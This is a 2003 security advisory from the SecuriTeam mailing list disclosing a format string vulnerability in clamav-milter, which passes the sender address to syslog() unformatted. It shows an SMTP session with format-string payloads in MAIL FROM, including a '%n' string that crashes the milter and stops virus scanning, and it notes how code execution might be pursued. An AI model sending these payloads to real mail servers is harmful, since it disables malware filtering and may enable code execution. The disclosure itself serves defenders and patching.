[UNIX] Clam AntiVirus Format Strings Vulnerabilities

Source: http://www.derkeiler.com/Mailing−Lists/Securiteam/2003−11/0083.html

---

From: SecuriTeam (*support_at_securiteam.com*)
Date: 11/19/03

```
To: list@securiteam.com
Date: 19 Nov 2003 19:23:36 +0200
```

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
− − promotion

The SecuriTeam alerts list − Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

− − − − − − − − −

Clam AntiVirus Format Strings Vulnerabilities
−−−

Immune systems:
 * Clam AntiVirus version 0.65

In order to exploit this condition clamav must be configured with syslog.
Your clamav.conf must have the following setup:
Use system logger (can work together with LogFile).
LogSyslog

Both clamd, clamav−milter and Sendmail must be running.
[root@RiotStarter root]# ps −x| grep clam
 6228 ? S 0:00 clamd
19118 ? S 0:00 clamav−milter −blo /var/run/clmilter.sock

In the event a virus rule is triggered the following code is run by
clamav−milter. This code simply passes the senders email address to
syslog().

clamav−milter.c:
snprintf(err, 1024, "Intercepted virus from %s to", privdata−>from);
..
syslog(LOG_NOTICE, err);

To see this bug in action simply tail your maillog and use the below
example.

[root@RiotStarter root]# tail −f /var/log/maillog
clamav−milter[]: stream: ClamAV−Test−Signature FOUND
..
clamav−milter[]: Intercepted virus from: AAAABBBB41414141.42424242 to:
root

This message was caused by the following.

 bash−2.05b$ nc localhost 25
 220 localhost.localdomain ESMTP Sendmail 8.12.10/8.12.10; Wed, 12 Nov
 2003 00:16:52 −0500
 helo ClamAV_DoS_Potential_Exploit
 250 localhost.localdomain Hello RiotStarter [127.0.0.1], pleased to meet
you
 mail from: AAAABBBB%09$x.%10$x
 250 2.1.0 AAAABBBB%09$x.%10$x... Sender ok
 rcpt to: root
 250 2.1.5 root... Recipient ok
 data
 354 Enter mail, end with "." on a line by itself
 $CEliacmaTrESTuScikgsn$FREE−TEST−SIGNATURE$EEEEE$
 .
 550 5.7.1 Virus detected by ClamAV − http://clamav.elektrapro.com

We made use of an antivirus test string in order to trigger the alert.
This alert caused the from address to be passed directly to syslog() with

out any format specifier.

This issue may potentially be used to run code as either the clamav user or root depending on how clamav is configured. At the very least a DoS attack on clamav−milter can be caused by using "mail from: %n%n%n%n%n%n%n".

Instead of Virus detected by ClamAv... you will see:
250 2.0.0 hAC5K2Y0019453 Message accepted for delivery

If you check the ps list you will note that the clamav−milter is now dead

```
[root@RiotStarter root]# ps −x| grep clam
 6228 ? S 0:00 clamd
```

From this point on messages are no longer being scanned by clamav. When attempting to exploit this issue an attacker must take care to use printable characters. Vanilla double write style exploitation may not be possible because of this. Popping items off the stack may still yield an interesting address to write to.

Upon writing an invalid address you will see something similar to the following.
501 5.1.7 Syntax error in mailbox address "D'??F'??%09$hn.@10$hn" (non−printable character)

Vendor Status:
Promptly attended to the issue. Patched clamav−milter is available in clamav−devel−20031111 and clamav−0.65

ADDITIONAL INFORMATION

The original advisory is available from:
<http://www.secnetops.com/research/advisories/SRT2003−11−11−1151.txt>
http://www.secnetops.com/research/advisories/SRT2003−11−11−1151.txt.

The information has been provided by <mailto:dotslash@snosoft.com> KF.

==========

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list−unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list−subscribe@securiteam.com

==========
==========

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential,

loss of business profits or special damages.